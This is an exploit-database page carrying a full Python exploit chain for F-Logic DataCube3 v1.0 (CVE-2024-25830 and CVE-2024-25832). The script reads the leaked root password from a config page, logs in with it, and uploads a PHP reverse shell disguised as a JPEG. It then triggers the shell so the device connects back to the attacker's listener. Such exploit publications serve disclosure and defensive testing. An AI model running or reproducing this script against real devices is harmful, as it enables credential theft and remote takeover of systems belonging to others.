Lucene search
K

DataCube3 1.0 Shell Upload

🗓️ 11 Mar 2024 00:00:00Reported by Samy YounsiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 264 Views

DataCube3 v1.0 Shell Upload RCE exploit chain for DataCube3 version 1.0 (Ubuntu) that includes reverse shell, information disclosure, and unrestricted file upload

Related
Code
ReporterTitlePublishedViews
Family
0day.today
DataCube3 v1.0 - Unrestricted file upload Remote Code Execution Exploit
11 Mar 202400:00
zdt
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in F-Logic Datacube3
6 Mar 202404:11
githubexploit
Circl
CVE-2024-25830
6 Mar 202419:16
circl
Circl
CVE-2024-25832
6 Mar 202404:16
circl
CNNVD
Field Logic DataCube3 Security Vulnerability
29 Feb 202400:00
cnnvd
CNNVD
Field Logic DataCube3 Permission License and Access Control Issues Vulnerability
29 Feb 202400:00
cnnvd
CVE
CVE-2024-25830
28 Feb 202400:00
cve
CVE
CVE-2024-25832
28 Feb 202400:00
cve
Cvelist
CVE-2024-25830
28 Feb 202400:00
cvelist
Cvelist
CVE-2024-25832
28 Feb 202400:00
cvelist
Rows per page
`# Exploit Title: DataCube3 v1.0 - Unrestricted file upload 'RCE'  
# Date: 7/28/2022  
# Exploit Author: Samy Younsi - NS Labs (https://neroteam.com)  
# Vendor Homepage: https://www.f-logic.jp  
# Software Link: https://www.f-logic.jp/pdf/support/manual_product/manual_product_datacube3_ver1.0_sc.pdf  
# Version: Ver1.0  
# Tested on: DataCube3 version 1.0 (Ubuntu)  
# CVE : CVE-2024-25830 + CVE-2024-25832  
  
# Exploit chain reverse shell, information disclosure (root password leak) + unrestricted file upload  
  
from __future__ import print_function, unicode_literals  
from bs4 import BeautifulSoup  
import argparse  
import requests  
import json  
import urllib3  
import re  
urllib3.disable_warnings()  
  
def banner():  
dataCube3Logo = """   
▒▒▒▒▒▒████████████████████████████████████▓▓▓▓▓▓▓▓  
▒▒▒▒▒▒▒▒██ DataCube3 Ver1.0 █F-logic▓▓  
▒▒████▒▒██ ████ ████ ██▓▓▓▓▓▓▓▓  
▒▒████▒▒██ ████ ████ ██▓▓▓▓▓▓▓▓  
▒▒▒▒▒▒▒▒██ ████ ████ ██▓▓▓▓▓▓▓▓  
▒▒▒▒▒▒▒▒██ ██▓▓████▓▓  
▒▒▒▒▒▒▒▒██ ██ ██ ██▓▓████▓▓  
▒▒▒▒▒▒▒▒██ █████████████████ ██▓▓▓▓▓▓▓▓  
▒▒▒▒▒▒████████████████████████████████████▓▓▓▓▓▓   
  
\033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m \033[1;91mDataCube3 exploit chain reverse shell\033[1;m   
FOR EDUCATIONAL PURPOSE ONLY.   
"""  
return print('\033[1;94m{}\033[1;m'.format(dataCube3Logo))  
  
  
def extractRootPwd(RHOST, RPORT, protocol):  
url = '{}://{}:{}/admin/config_all.php'.format(protocol, RHOST, RPORT)  
try:  
response = requests.get(url, allow_redirects=False, verify=False, timeout=20)  
if response.status_code != 302:  
print('[!] \033[1;91mError: DataCube3 web interface is not reachable. Make sure the specified IP is correct.\033[1;m')  
exit()  
soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')  
scriptTag = str(soup.find_all('script')[12]).replace(' ', '')  
rawLeakedData = re.findall('configData:.*,', scriptTag)[0]  
jsonLeakedData = json.loads('[{}]'.format(rawLeakedData.split('configData:[')[1].split('],')[0]))  
adminPassword = jsonLeakedData[12]['value']  
rootPassword = jsonLeakedData[14]['value']  
print('[INFO] DataCube3 leaked credentials successfully extracted: admin:{} | root:{}.\n[INFO] The target must be vulnerable.'.format(adminPassword, rootPassword))  
return rootPassword  
except:  
print('[ERROR] Can\'t grab the DataCube3 version...')  
  
  
def generateAuthCookie(RHOST, RPORT, protocol, rootPassword):  
print('[INFO] Generating DataCube3 auth cookie ...')  
url = '{}://{}:{}/admin/config_all.php'.format(protocol, RHOST, RPORT)  
data = {  
'user_id': 'root',  
'user_pw': rootPassword,  
'login': '%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3'  
}  
try:  
response = requests.post(url, data=data, allow_redirects=False, verify=False, timeout=20)  
if response.status_code != 302:  
print('[!] \033[1;91mError: An error occur while trying to get the auth cookie, is the root password correct?\033[1;m')  
exit()  
authCookie = response.cookies.get_dict()   
print('[INFO] Authentication successful! Auth Cookie: {}'.format(authCookie))   
return authCookie  
except:  
print('[ERROR] Can\'t grab the auth cookie, is the root password correct?')  
  
  
def extractAccesstime(RHOST, RPORT, LHOST, LPORT, protocol, authCookie):  
print('[INFO] Extracting Accesstime ...')  
url = '{}://{}:{}/admin/setting_photo.php'.format(protocol, RHOST, RPORT)  
try:  
response = requests.get(url, cookies=authCookie, allow_redirects=False, verify=False, timeout=20)  
if response.status_code != 302:  
print('[!] \033[1;91mError: An error occur while trying to get the accesstime value.\033[1;m')  
exit()  
soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')  
accessTime = soup.find('input', {'name': 'accesstime'}).get('value')  
print('[INFO] AccessTime value: {}'.format(accessTime))  
return accessTime  
except:  
print('[ERROR] Can\'t grab the accesstime value, is the root password correct?')  
  
  
def injectReverseShell(RHOST, RPORT, LHOST, LPORT, protocol, authCookie, accessTime):  
print('[INFO] Injecting PHP reverse shell script ...')  
filename='rvs.php'  
payload = '<?php $sock=fsockopen("{}",{});$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>'.format(LHOST, LPORT)  
  
data = '-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="add"\r\n\r\nå��ç��追å�\xA0\r\n-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="addPhoto"; filename="{}"\r\nContent-Type: image/jpeg\r\n\r\n{}\r\n-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="accesstime"\r\n\r\n{}\r\n-----------------------------113389720123090127612523184396--\r\n'.format(filename, payload, accessTime)  
  
headers = {  
'Content-Type': 'multipart/form-data; boundary=---------------------------113389720123090127612523184396'  
}  
url = '{}://{}:{}/admin/setting_photo.php'.format(protocol, RHOST, RPORT)  
try:  
response = requests.post(url, cookies=authCookie, headers=headers, data=data, allow_redirects=False, verify=False, timeout=20)  
if response.status_code != 302:  
print('[!] \033[1;91mError: An error occur while trying to upload the PHP reverse shell script.\033[1;m')  
exit()  
shellURL = '{}://{}:{}/images/slideshow/{}'.format(protocol, RHOST, RPORT, filename)  
print('[INFO] PHP reverse shell script successfully uploaded!\n[INFO] SHELL URL: {}'.format(shellURL))  
return shellURL  
except:  
print('[ERROR] Can\'t upload the PHP reverse shell script, is the root password correct?')  
  
  
def execReverseShell(shellURL):  
print('[INFO] Executing reverse shell...')  
try:  
response = requests.get(shellURL, allow_redirects=False, verify=False)  
print('[INFO] Reverse shell successfully executed.')  
return  
except Exception as e:  
print('[ERROR] Reverse shell failed. Make sure the DataCube3 device can reach the host {}:{}')  
return False  
  
  
def main():  
banner()  
args = parser.parse_args()  
protocol = 'https' if args.RPORT == 443 else 'http'  
rootPassword = extractRootPwd(args.RHOST, args.RPORT, protocol)  
authCookie = generateAuthCookie(args.RHOST, args.RPORT, protocol, rootPassword)  
accessTime = extractAccesstime(args.RHOST, args.RPORT, args.LHOST, args.LPORT, protocol, authCookie)  
shellURL = injectReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT, protocol, authCookie, accessTime)  
execReverseShell(shellURL)  
  
  
if __name__ == '__main__':  
parser = argparse.ArgumentParser(description='Script PoC that exploit an unauthenticated remote command injection on f-logic DataCube3 devices.', add_help=False)  
parser.add_argument('--RHOST', help='Refers to the IP of the target machine. (f-logic DataCube3 device)', type=str, required=True)  
parser.add_argument('--RPORT', help='Refers to the open port of the target machine. (443 by default)', type=int, required=True)  
parser.add_argument('--LHOST', help='Refers to the IP of your machine.', type=str, required=True)  
parser.add_argument('--LPORT', help='Refers to the open port of your machine.', type=int, required=True)  
main()  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation